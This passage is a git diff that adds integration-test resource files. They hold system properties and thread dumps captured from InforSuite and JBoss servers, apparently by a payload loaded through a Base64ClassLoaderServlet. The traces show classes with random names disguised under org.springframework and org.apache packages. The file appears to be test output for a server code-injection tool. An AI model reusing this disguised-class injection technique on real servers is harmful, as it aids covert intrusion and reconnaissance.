java.net.SocketInputStream.read(SocketInputStream.java:171) + at java.net.SocketInputStream.read(SocketInputStream.java:141) + at sun.security.ssl.SSLSocketInputRecord.read(SSLSocketInputRecord.java:475) + at sun.security.ssl.SSLSocketInputRecord.readHeader(SSLSocketInputRecord.java:469) + at sun.security.ssl.SSLSocketInputRecord.bytesInCompletePacket(SSLSocketInputRecord.java:69) + at sun.security.ssl.SSLSocketImpl.readApplicationRecord(SSLSocketImpl.java:1228) + at sun.security.ssl.SSLSocketImpl.access$300(SSLSocketImpl.java:75) + at sun.security.ssl.SSLSocketImpl$AppInputStream.read(SSLSocketImpl.java:915) + at java.io.BufferedInputStream.fill(BufferedInputStream.java:246) + at java.io.BufferedInputStream.read(BufferedInputStream.java:265) + at java.io.FilterInputStream.read(FilterInputStream.java:83) + at sun.rmi.transport.tcp.TCPTransport.handleMessages(TCPTransport.java:555) + at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run0(TCPTransport.java:834) + at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.lambda$run$0(TCPTransport.java:688) + at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$17/1171879416.run(Unknown Source) + at java.security.AccessController.doPrivileged(Native Method) + at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run(TCPTransport.java:687) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"http-thread-pool::http-listener-2(2)" #40 daemon [WAITING] on java.lang.Object@704bcba7 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at org.glassfish.grizzly.threadpool.SyncThreadPool$SyncThreadWorker.getTask(SyncThreadPool.java:200) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:585) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:573) + at java.lang.Thread.run(Thread.java:748) + +"RMI Reaper" #68 [WAITING] on java.lang.ref.ReferenceQueue$Lock@101dfc30 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:144) + at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:165) + at sun.rmi.transport.ObjectTable$Reaper.run(ObjectTable.java:351) + at java.lang.Thread.run(Thread.java:748) + +"hipchat-message-consumer-1" #53 [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@73ad66fb + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1093) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"http-thread-pool::http-listener-1(1)" #26 daemon [WAITING] on java.lang.Object@646b5012 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at org.glassfish.grizzly.threadpool.SyncThreadPool$SyncThreadWorker.getTask(SyncThreadPool.java:200) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:585) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:573) + at java.lang.Thread.run(Thread.java:748) + +"admin-listener-kernel(1) SelectorRunner" #48 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) + at org.glassfish.grizzly.nio.DefaultSelectorHandler.select(DefaultSelectorHandler.java:115) + at org.glassfish.grizzly.nio.SelectorRunner.doSelect(SelectorRunner.java:339) + at org.glassfish.grizzly.nio.SelectorRunner.run(SelectorRunner.java:279) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:593) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:573) + at java.lang.Thread.run(Thread.java:748) + +"ContainerBackgroundProcessor[StandardEngine[inforsuite-web]]" #78 daemon [TIMED_WAITING] + java.lang.Thread.State: TIMED_WAITING + at java.lang.Thread.sleep(Native Method) + at org.apache.catalina.core.ContainerBase$ContainerBackgroundProcessor.run(ContainerBase.java:1677) + at java.lang.Thread.run(Thread.java:748) + +"http-thread-pool::http-listener-1(5)" #30 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.lang.Thread.dumpThreads(Native Method) + at java.lang.Thread.getAllStackTraces(Thread.java:1610) + at org.springframework.zIuZE.ErrorHandler.toString(BasicInfoPrinter.java:26) + at java.lang.String.valueOf(String.java:2994) + at org.apache.catalina.connector.CoyoteWriter.print(CoyoteWriter.java:322) + at Base64ClassLoaderServlet.service(Base64ClassLoaderServlet.java:26) + at org.apache.catalina.core.StandardWrapper.service(StandardWrapper.java:1606) + at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:338) + at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:208) + at EmptyFilter.doFilter(EmptyFilter.java:21) + at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:250) + at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:208) + at org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:256) + at org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:160) + at org.apache.catalina.core.StandardPipeline.doInvoke(StandardPipeline.java:654) + at org.apache.catalina.core.StandardPipeline.invoke(StandardPipeline.java:593) + at com.cvicse.loong.enterprise.web.WebPipeline.invoke(WebPipeline.java:99) + at org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:155) + at org.apache.catalina.connector.CoyoteAdapter.doService(CoyoteAdapter.java:371) + at org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:238) + at com.cvicse.loong.enterprise.v9.services.impl.ContainerMapper$HttpHandlerCallable.call(ContainerMapper.java:466) + at com.cvicse.loong.enterprise.v9.services.impl.ContainerMapper.service(ContainerMapper.java:169) + at org.glassfish.grizzly.http.server.HttpHandler.runService(HttpHandler.java:206) + at org.glassfish.grizzly.http.server.HttpHandler.doHandle(HttpHandler.java:180) + at org.glassfish.grizzly.http.server.HttpServerFilter.handleRead(HttpServerFilter.java:235) + at org.glassfish.grizzly.filterchain.ExecutorResolver$9.execute(ExecutorResolver.java:119) + at org.glassfish.grizzly.filterchain.DefaultFilterChain.executeFilter(DefaultFilterChain.java:284) + at org.glassfish.grizzly.filterchain.DefaultFilterChain.executeChainPart(DefaultFilterChain.java:201) + at org.glassfish.grizzly.filterchain.DefaultFilterChain.execute(DefaultFilterChain.java:133) + at org.glassfish.grizzly.filterchain.DefaultFilterChain.process(DefaultFilterChain.java:112) + at org.glassfish.grizzly.ProcessorExecutor.execute(ProcessorExecutor.java:77) + at org.glassfish.grizzly.nio.transport.TCPNIOTransport.fireIOEvent(TCPNIOTransport.java:539) + at org.glassfish.grizzly.strategies.AbstractIOStrategy.fireIOEvent(AbstractIOStrategy.java:112) + at org.glassfish.grizzly.strategies.WorkerThreadIOStrategy.run0(WorkerThreadIOStrategy.java:117) + at org.glassfish.grizzly.strategies.WorkerThreadIOStrategy.access$100(WorkerThreadIOStrategy.java:56) + at org.glassfish.grizzly.strategies.WorkerThreadIOStrategy$WorkerThreadRunnable.run(WorkerThreadIOStrategy.java:137) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:593) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:573) + at java.lang.Thread.run(Thread.java:748) + +"Reference Handler" #2 daemon [WAITING] on java.lang.ref.Reference$Lock@530b2bb9 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at java.lang.ref.Reference.tryHandlePending(Reference.java:191) + at java.lang.ref.Reference$ReferenceHandler.run(Reference.java:153) + +"http-listener-1-kernel(1) SelectorRunner" #33 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) + at org.glassfish.grizzly.nio.DefaultSelectorHandler.select(DefaultSelectorHandler.java:115) + at org.glassfish.grizzly.nio.SelectorRunner.doSelect(SelectorRunner.java:339) + at org.glassfish.grizzly.nio.SelectorRunner.run(SelectorRunner.java:279) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:593) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:573) + at java.lang.Thread.run(Thread.java:748) + + +=========================================== + +StackClassNames: +Base64ClassLoaderServlet +EmptyFilter +com.cvicse.loong.common.util.logging.LoggingOutputStream +com.cvicse.loong.common.util.logging.LoggingOutputStream$1 +com.cvicse.loong.enterprise.server.logging.IASFileHandler +com.cvicse.loong.enterprise.server.logging.IASFileHandler$4 +com.cvicse.loong.enterprise.v9.server.AppServerStartup$1 +com.cvicse.loong.enterprise.v9.services.impl.ContainerMapper +com.cvicse.loong.enterprise.v9.services.impl.ContainerMapper$HttpHandlerCallable +com.cvicse.loong.enterprise.web.WebPipeline +org.apache.catalina.connector.CoyoteAdapter +org.apache.catalina.connector.CoyoteWriter +org.apache.catalina.core.ApplicationFilterChain +org.apache.catalina.core.ContainerBase$ContainerBackgroundProcessor +org.apache.catalina.core.StandardContextValve +org.apache.catalina.core.StandardHostValve +org.apache.catalina.core.StandardPipeline +org.apache.catalina.core.StandardWrapper +org.apache.catalina.core.StandardWrapperValve +org.apache.felix.cm.impl.UpdateThread +org.apache.felix.fileinstall.internal.DirectoryWatcher +org.apache.felix.framework.FrameworkStartLevelImpl +org.apache.felix.framework.FrameworkWiringImpl +org.apache.felix.framework.util.EventDispatcher +org.apache.felix.framework.util.EventDispatcher$1 +org.apache.felix.scr.impl.ComponentActorThread +org.glassfish.grizzly.ProcessorExecutor +org.glassfish.grizzly.filterchain.DefaultFilterChain +org.glassfish.grizzly.filterchain.ExecutorResolver$9 +org.glassfish.grizzly.http.server.HttpHandler +org.glassfish.grizzly.http.server.HttpServerFilter +org.glassfish.grizzly.nio.DefaultSelectorHandler +org.glassfish.grizzly.nio.SelectorRunner +org.glassfish.grizzly.nio.transport.TCPNIOTransport +org.glassfish.grizzly.strategies.AbstractIOStrategy +org.glassfish.grizzly.strategies.WorkerThreadIOStrategy +org.glassfish.grizzly.strategies.WorkerThreadIOStrategy$WorkerThreadRunnable +org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker +org.glassfish.grizzly.threadpool.SyncThreadPool$SyncThreadWorker +org.glassfish.grizzly.utils.DelayedExecutor$DelayedRunnable +org.jvnet.hk2.config.Transactions$Notifier$1 +org.springframework.zIuZE.ErrorHandler diff --git a/integration-test/src/test/resources/infos/Jboss423ContainerTestBasicInfo.txt b/integration-test/src/test/resources/infos/Jboss423ContainerTestBasicInfo.txt new file mode 100644 index 00000000..7092f785 --- /dev/null +++ b/integration-test/src/test/resources/infos/Jboss423ContainerTestBasicInfo.txt @@ -0,0 +1,579 @@ +# Generated At 2025-08-10 14:57:43 +SystemProps: +java.vendor: Sun Microsystems Inc. +sun.java.launcher: SUN_STANDARD +catalina.base: /usr/local/jboss/server/default +sun.management.compiler: HotSpot 64-Bit Tiered Compilers +catalina.useNaming: false +os.name: Linux +sun.boot.class.path: /usr/local/jboss/lib/endorsed/serializer.jar:/usr/local/jboss/lib/endorsed/xalan.jar:/usr/local/jboss/lib/endorsed/xercesImpl.jar:/opt/java/jdk1.6.0_45/jre/lib/resources.jar:/opt/java/jdk1.6.0_45/jre/lib/rt.jar:/opt/java/jdk1.6.0_45/jre/lib/sunrsasign.jar:/opt/java/jdk1.6.0_45/jre/lib/jsse.jar:/opt/java/jdk1.6.0_45/jre/lib/jce.jar:/opt/java/jdk1.6.0_45/jre/lib/charsets.jar:/opt/java/jdk1.6.0_45/jre/lib/modules/jdk.boot.jar:/opt/java/jdk1.6.0_45/jre/classes +java.vm.specification.vendor: Sun Microsystems Inc. +java.runtime.version: 1.6.0_45-b06 +user.name: root +shared.loader: +jboss.remoting.version: 22 +jboss.bind.address: 0.0.0.0 +tomcat.util.buf.StringCache.byte.enabled: true +jboss.remoting.instanceid: 86d8267a4383c8b9x28ff7d44x198947cbccbx-8000806 +jboss.home.dir: /usr/local/jboss +java.naming.factory.initial: org.jnp.interfaces.NamingContextFactory +com.arjuna.common.util.logging.DebugLevel: 0x00000000 +user.language: en +sun.boot.library.path: /opt/java/jdk1.6.0_45/jre/lib/amd64 +com.arjuna.ats.jta.lastResourceOptimisationInterface: org.jboss.tm.LastResource +jboss.home.url: file:/usr/local/jboss/ +java.version: 1.6.0_45 +user.timezone: UTC +java.net.preferIPv4Stack: true +jboss.server.home.dir: /usr/local/jboss/server/default +hibernate.bytecode.provider: javassist +jgroups.bind_addr: 69d19e3c048d +sun.arch.data.model: 64 +java.endorsed.dirs: /usr/local/jboss/lib/endorsed +jboss.server.home.url: file:/usr/local/jboss/server/default/ +sun.cpu.isalist: +sun.jnu.encoding: ANSI_X3.4-1968 +file.encoding.pkg: sun.io +package.access: sun.,org.apache.catalina.,org.apache.coyote.,org.apache.tomcat.,org.apache.jasper.,sun.beans. +file.separator: / +java.specification.name: Java Platform API Specification +com.arjuna.ats.tsmx.agentimpl: com.arjuna.ats.internal.jbossatx.agent.LocalJBossAgentImpl +java.class.version: 50.0 +jboss.server.config.url: file:/usr/local/jboss/server/default/conf/ +user.country: US +java.home: /opt/java/jdk1.6.0_45/jre +java.vm.info: mixed mode +jboss.lib.url: file:/usr/local/jboss/lib/ +bind.address: 69d19e3c048d +os.version: 6.14.10-orbstack-00291-g1b252bd3edea +path.separator: : +java.vm.version: 20.45-b01 +java.protocol.handler.pkgs: org.jboss.net.protocol +java.awt.printerjob: sun.print.PSPrinterJob +sun.io.unicode.encoding: UnicodeLittle +package.definition: sun.,java.,org.apache.catalina.,org.apache.coyote.,org.apache.tomcat.,org.apache.jasper. +com.arjuna.common.util.logger: log4j_releveler +java.naming.factory.url.pkgs: org.jboss.naming:org.jnp.interfaces +jboss.server.temp.dir: /usr/local/jboss/server/default/tmp +java.rmi.server.RMIClassLoaderSpi: org.jboss.system.JBossRMIClassLoader +sun.rmi.dgc.client.gcInterval: 3600000 +user.home: /root +jboss.identity: 86d8267a4383c8b9x28ff7d44x198947cbccbx-8000806 +java.specification.vendor: Sun Microsystems Inc. +java.library.path: /opt/java/jdk1.6.0_45/jre/lib/amd64/server:/opt/java/jdk1.6.0_45/jre/lib/amd64:/opt/java/jdk1.6.0_45/jre/../lib/amd64:/usr/java/packages/lib/amd64:/usr/lib64:/lib64:/lib:/usr/lib +java.vendor.url: http://java.sun.com/ +program.name: run.sh +java.vm.vendor: Sun Microsystems Inc. +sun.rmi.dgc.server.gcInterval: 3600000 +common.loader: ${catalina.home}/lib,${catalina.home}/lib/*.jar +java.runtime.name: Java(TM) SE Runtime Environment +sun.java.command: org.jboss.Main -b 0.0.0.0 +java.class.path: /usr/local/jboss/bin/run.jar:/opt/java/jdk1.6.0_45/lib/tools.jar +jboss.server.log.dir: /usr/local/jboss/server/default/log +jbossmx.loader.repository.class: org.jboss.mx.loading.UnifiedLoaderRepository3 +java.vm.specification.name: Java Virtual Machine Specification +catalina.home: /usr/local/jboss/server/default +jboss.remoting.domain: JBOSS +java.vm.specification.version: 1.0 +com.arjuna.common.util.logging.VisibilityLevel: 0xffffffff +sun.cpu.endian: little +sun.os.patch.level: unknown +jboss.server.lib.url: file:/usr/local/jboss/server/default/lib/ +com.arjuna.ats.arjuna.objectstore.objectStoreDir: /usr/local/jboss/server/default/data/tx-object-store +TSMX_VERSION: unknown +java.rmi.server.codebase: http://69d19e3c048d:8083/ +java.io.tmpdir: /tmp +org.w3c.dom.DOMImplementationSourceList: org.apache.xerces.dom.DOMXSImplementationSourceImpl +java.vendor.url.bug: http://java.sun.com/cgi-bin/bugreport.cgi +server.loader: +jboss.server.data.dir: /usr/local/jboss/server/default/data +java.rmi.server.hostname: 69d19e3c048d +os.arch: amd64 +java.awt.graphicsenv: sun.awt.X11GraphicsEnvironment +jboss.remoting.jmxid: 69d19e3c048d_1754837858344 +java.ext.dirs: /opt/java/jdk1.6.0_45/jre/lib/ext:/usr/java/packages/lib/ext +PROPERTIES_FILE: tsmx.properties +user.dir: /usr/local/jboss +line.separator: + +java.vm.name: Java HotSpot(TM) 64-Bit Server VM +jboss.server.base.dir: /usr/local/jboss/server +org.apache.commons.logging.Log: org.apache.commons.logging.impl.Log4JLogger +com.arjuna.common.util.logging.FacilityLevel: 0xffffffff +jboss.server.base.url: file:/usr/local/jboss/server/ +javax.management.builder.initial: org.jboss.mx.server.MBeanServerBuilderImpl +file.encoding: ANSI_X3.4-1968 +catalina.ext.dirs: /usr/local/jboss/server/default/lib +java.specification.version: 1.6 +jboss.server.name: default + +=========================================== + +ThreadStacks: +"http-0.0.0.0-8080-2" #58 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.net.SocketInputStream.socketRead0(Native Method) + at java.net.SocketInputStream.read(SocketInputStream.java:129) + at org.apache.coyote.http11.InternalInputBuffer.fill(InternalInputBuffer.java:700) + at org.apache.coyote.http11.InternalInputBuffer.parseRequestLine(InternalInputBuffer.java:366) + at org.apache.coyote.http11.Http11Processor.process(Http11Processor.java:805) + at org.apache.coyote.http11.Http11Protocol$Http11ConnectionHandler.process(Http11Protocol.java:583) + at org.apache.tomcat.util.net.JIoEndpoint$Worker.run(JIoEndpoint.java:446) + at java.lang.Thread.run(Thread.java:662) + +"JBoss System Threads(1)-2" #19 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.net.PlainSocketImpl.socketAccept(Native Method) + at java.net.PlainSocketImpl.accept(PlainSocketImpl.java:408) + at java.net.ServerSocket.implAccept(ServerSocket.java:462) + at java.net.ServerSocket.accept(ServerSocket.java:430) + at org.jnp.server.Main$AcceptHandler.run(Main.java:481) + at org.jboss.util.threadpool.RunnableTaskWrapper.run(RunnableTaskWrapper.java:148) + at EDU.oswego.cs.dl.util.concurrent.PooledExecutor$Worker.run(PooledExecutor.java:756) + at java.lang.Thread.run(Thread.java:662) + +"DestroyJavaVM" #9 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"DefaultQuartzScheduler_Worker-5" #43 [TIMED_WAITING] on java.lang.Object@3415ddf5 + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at org.quartz.simpl.SimpleThreadPool.getNextRunnable(SimpleThreadPool.java:428) + at org.quartz.simpl.SimpleThreadPool.access$000(SimpleThreadPool.java:47) + at org.quartz.simpl.SimpleThreadPool$WorkerThread.run(SimpleThreadPool.java:518) + +"ajp-0.0.0.0-8009-Acceptor-0" #57 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.net.PlainSocketImpl.socketAccept(Native Method) + at java.net.PlainSocketImpl.accept(PlainSocketImpl.java:408) + at java.net.ServerSocket.implAccept(ServerSocket.java:462) + at java.net.ServerSocket.accept(ServerSocket.java:430) + at org.apache.tomcat.util.net.DefaultServerSocketFactory.acceptSocket(DefaultServerSocketFactory.java:61) + at org.apache.tomcat.util.net.JIoEndpoint$Acceptor.run(JIoEndpoint.java:309) + at java.lang.Thread.run(Thread.java:662) + +"RMI TCP Accept-4444" #27 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.net.PlainSocketImpl.socketAccept(Native Method) + at java.net.PlainSocketImpl.accept(PlainSocketImpl.java:408) + at java.net.ServerSocket.implAccept(ServerSocket.java:462) + at java.net.ServerSocket.accept(ServerSocket.java:430) + at sun.rmi.transport.tcp.TCPTransport$AcceptLoop.executeAcceptLoop(TCPTransport.java:369) + at sun.rmi.transport.tcp.TCPTransport$AcceptLoop.run(TCPTransport.java:341) + at java.lang.Thread.run(Thread.java:662) + +"Thread-5" #24 [TIMED_WAITING] + java.lang.Thread.State: TIMED_WAITING + at java.lang.Thread.sleep(Native Method) + at com.arjuna.ats.internal.arjuna.recovery.PeriodicRecovery.doWork(PeriodicRecovery.java:216) + at com.arjuna.ats.internal.arjuna.recovery.PeriodicRecovery.run(PeriodicRecovery.java:163) + +"Thread-3" #22 daemon [TIMED_WAITING] on com.arjuna.ats.arjuna.coordinator.TransactionReaper@79f1a8a + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at com.arjuna.ats.internal.arjuna.coordinator.ReaperThread.run(ReaperThread.java:98) + +"Signal Dispatcher" #4 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"JBossMQ Cache Reference Softner" #35 daemon [TIMED_WAITING] on java.lang.ref.ReferenceQueue$Lock@5e875dee + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:118) + at org.jboss.mq.server.MessageCache.run(MessageCache.java:245) + at java.lang.Thread.run(Thread.java:662) + +"Thread-4" #23 daemon [TIMED_WAITING] + java.lang.Thread.State: TIMED_WAITING + at java.lang.Thread.sleep(Native Method) + at com.arjuna.ats.internal.arjuna.recovery.ExpiredEntryMonitor.run(ExpiredEntryMonitor.java:237) + +"DefaultQuartzScheduler_Worker-4" #42 [TIMED_WAITING] on java.lang.Object@3415ddf5 + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at org.quartz.simpl.SimpleThreadPool.getNextRunnable(SimpleThreadPool.java:428) + at org.quartz.simpl.SimpleThreadPool.access$000(SimpleThreadPool.java:47) + at org.quartz.simpl.SimpleThreadPool$WorkerThread.run(SimpleThreadPool.java:518) + +"http-0.0.0.0-8080-5" #61 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.lang.Thread.dumpThreads(Native Method) + at java.lang.Thread.getAllStackTraces(Thread.java:1530) + at org.apache.ViswT.ErrorHandler.toString(BasicInfoPrinter.java:26) + at java.lang.String.valueOf(String.java:2826) + at org.apache.catalina.connector.CoyoteWriter.print(CoyoteWriter.java:226) + at Base64ClassLoaderServlet.service(Base64ClassLoaderServlet.java:26) + at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:290) + at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:206) + at EmptyFilter.doFilter(EmptyFilter.java:21) + at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:235) + at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:206) + at org.jboss.web.tomcat.filters.ReplyHeaderFilter.doFilter(ReplyHeaderFilter.java:96) + at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:235) + at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:206) + at org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:230) + at org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:175) + at org.jboss.web.tomcat.security.SecurityAssociationValve.invoke(SecurityAssociationValve.java:182) + at org.jboss.web.tomcat.security.JaccContextValve.invoke(JaccContextValve.java:84) + at org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:127) + at org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:102) + at org.jboss.web.tomcat.service.jca.CachedConnectionValve.invoke(CachedConnectionValve.java:157) + at org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:109) + at org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:262) + at org.apache.coyote.http11.Http11Processor.process(Http11Processor.java:844) + at org.apache.coyote.http11.Http11Protocol$Http11ConnectionHandler.process(Http11Protocol.java:583) + at org.apache.tomcat.util.net.JIoEndpoint$Worker.run(JIoEndpoint.java:446) + at java.lang.Thread.run(Thread.java:662) + +"RMI Reaper" #17 [WAITING] on java.lang.ref.ReferenceQueue$Lock@927e4be + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:118) + at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:134) + at sun.rmi.transport.ObjectTable$Reaper.run(ObjectTable.java:333) + at java.lang.Thread.run(Thread.java:662) + +"Timer-0" #12 daemon [TIMED_WAITING] on java.util.TaskQueue@1a1a7aa4 + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at java.util.TimerThread.mainLoop(Timer.java:509) + at java.util.TimerThread.run(Timer.java:462) + +"ServerSocketRefresh" #32 daemon [WAITING] on java.lang.Object@4069b25f + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:485) + at org.jboss.remoting.transport.socket.SocketServerInvoker$ServerSocketRefresh.run(SocketServerInvoker.java:704) + +"Reference Handler" #2 daemon [WAITING] on java.lang.ref.Reference$Lock@5b3d9c02 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:485) + at java.lang.ref.Reference$ReferenceHandler.run(Reference.java:116) + +"DefaultQuartzScheduler_Worker-0" #38 [TIMED_WAITING] on java.lang.Object@3415ddf5 + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at org.quartz.simpl.SimpleThreadPool.getNextRunnable(SimpleThreadPool.java:428) + at org.quartz.simpl.SimpleThreadPool.access$000(SimpleThreadPool.java:47) + at org.quartz.simpl.SimpleThreadPool$WorkerThread.run(SimpleThreadPool.java:518) + +"SubscriptionWatchDog" #33 [TIMED_WAITING] + java.lang.Thread.State: TIMED_WAITING + at java.lang.Thread.sleep(Native Method) + at org.jboss.ws.extensions.eventing.mgmt.SubscriptionManager$WatchDog.run(SubscriptionManager.java:653) + at java.lang.Thread.run(Thread.java:662) + +"http-0.0.0.0-8080-3" #59 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.net.SocketInputStream.socketRead0(Native Method) + at java.net.SocketInputStream.read(SocketInputStream.java:129) + at org.apache.coyote.http11.InternalInputBuffer.fill(InternalInputBuffer.java:700) + at org.apache.coyote.http11.InternalInputBuffer.parseRequestLine(InternalInputBuffer.java:366) + at org.apache.coyote.http11.Http11Processor.process(Http11Processor.java:805) + at org.apache.coyote.http11.Http11Protocol$Http11ConnectionHandler.process(Http11Protocol.java:583) + at org.apache.tomcat.util.net.JIoEndpoint$Worker.run(JIoEndpoint.java:446) + at java.lang.Thread.run(Thread.java:662) + +"http-0.0.0.0-8080-Acceptor-0" #55 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.net.PlainSocketImpl.socketAccept(Native Method) + at java.net.PlainSocketImpl.accept(PlainSocketImpl.java:408) + at java.net.ServerSocket.implAccept(ServerSocket.java:462) + at java.net.ServerSocket.accept(ServerSocket.java:430) + at org.apache.tomcat.util.net.DefaultServerSocketFactory.acceptSocket(DefaultServerSocketFactory.java:61) + at org.apache.tomcat.util.net.JIoEndpoint$Acceptor.run(JIoEndpoint.java:309) + at java.lang.Thread.run(Thread.java:662) + +"DefaultQuartzScheduler_QuartzSchedulerThread" #48 [TIMED_WAITING] + java.lang.Thread.State: TIMED_WAITING + at java.lang.Thread.sleep(Native Method) + at org.quartz.core.QuartzSchedulerThread.run(QuartzSchedulerThread.java:394) + +"RMI TCP Accept-1098" #16 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.net.PlainSocketImpl.socketAccept(Native Method) + at java.net.PlainSocketImpl.accept(PlainSocketImpl.java:408) + at java.net.ServerSocket.implAccept(ServerSocket.java:462) + at java.net.ServerSocket.accept(ServerSocket.java:430) + at sun.rmi.transport.tcp.TCPTransport$AcceptLoop.executeAcceptLoop(TCPTransport.java:369) + at sun.rmi.transport.tcp.TCPTransport$AcceptLoop.run(TCPTransport.java:341) + at java.lang.Thread.run(Thread.java:662) + +"AcceptorThread#0:4446" #29 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.net.PlainSocketImpl.socketAccept(Native Method) + at java.net.PlainSocketImpl.accept(PlainSocketImpl.java:408) + at java.net.ServerSocket.implAccept(ServerSocket.java:462) + at java.net.ServerSocket.accept(ServerSocket.java:430) + at org.jboss.remoting.transport.socket.SocketServerInvoker.run(SocketServerInvoker.java:520) + at java.lang.Thread.run(Thread.java:662) + +"ScannerThread" #13 